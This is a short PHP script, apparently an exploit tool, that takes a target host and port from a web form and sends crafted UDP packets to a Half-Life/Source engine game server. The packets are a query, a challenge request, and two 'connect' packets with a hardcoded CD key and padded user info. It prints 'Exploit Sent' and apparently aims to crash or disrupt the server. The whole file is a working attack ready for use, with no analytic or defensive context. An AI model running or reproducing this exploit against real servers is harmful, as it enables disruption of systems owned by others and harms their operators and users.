<?php

      ini_set("display_errors","0");

      function HELLO_PACKET()
      {
      $packet = pack("H*","FFFFFFFF");
      $packet .= "TSource Engine Query";
      $packet .= pack("H*","00");
      return $packet;
      }

      function CHALLENGE_PACKET()
      {
      $packet = pack("H*","FFFFFFFF");
      $packet .= "getchallenge valve";
      $packet .= pack("H*","00");
      return $packet;
      }

      function LOGIN_PACKET_4()
      {
      global $cookie;
      global $password;
      $packet = pack("H*","FFFFFFFF");
      $packet .= "connect 47 ";
      $packet .= $cookie.' "';
      $packet .= '\prot\4\unique\-1\raw\valve\cdkey\d506d189cf551620a70277a3d2c55bb2" "';
      $packet .= '\_cl_autowepswitch\1\bottomcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\mod';
      $packet .= 'el\gordon\name\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
      $packet .= 'word\'.$password;
      $packet .= pack("H*","220A0000EE02");
      return $packet;
      }

      function LOGIN_PACKET_2()
      {
      global $cookie;
      global $password;
      $packet = pack("H*","FFFFFFFF");
      $packet .= "connect 47 ";
      $packet .= $cookie.' "';
      $packet .= '\prot\2\raw\d506d189cf551620a70277a3d2c55bb2" "\_cl_autowepswitch\1\bott';
      $packet .= 'omcolor\6\cl_dlmax\128\cl_lc\1\cl_lw\1\cl_updaterate\30\model\gordon\nam';
      $packet .= 'e\Born to be pig (..)\topcolor\30\_vgui_menus\1\_ah\1\rate\3500\*fid\0\pass';
      $packet .= 'word\'.$password;
      $packet .= pack("H*","22");
      return $packet;
      }

      function dowork($host,$port,$password,$auth)
      {
      global $password;
      global $cookie;
      # connecting to target host
      $fsock = fsockopen("udp://".$host,(int) $port,$errnum,$errstr,2);
      if (!$fsock) die ($errstr);
      else
      {
      # sending hello packet
      fwrite ($fsock,HELLO_PACKET());
      fread ($fsock,100);
      # sending chalennge packet
      fwrite ($fsock,CHALLENGE_PACKET());
      # recieving cookies
      $resp = fread($fsock,100);
      # grab cookies from packet
      $cookie = substr($resp,strpos($resp,"A00000000")+10);
      $cookie = substr($cookie,0,strpos($cookie," "));
      # sending login packet
      if (!$auth) fwrite ( $fsock,LOGIN_PACKET_4());else fwrite ( $fsock,LOGIN_PACKET_2());
      $resp = fread($fsock,100);
      }
      }

      IF (isset($_POST['host']) && isset($_POST['port']))
      {
      IF (empty($_POST['pass'])) $password = "123";
      else $password = $_POST['pass'];
      $fserver = $_POST['host'];
      $fport = $_POST['port'];
      if (isset($_POST['auth'])) $fauth = true;else $fauth=false;
      # we have to connect 2 times
      $result = dowork($fserver,$fport,$password,$fauth);
      $result = dowork($fserver,$fport,$password,$fauth);
      # parsing result
      echo "Exploit Sent";
      }
      ?>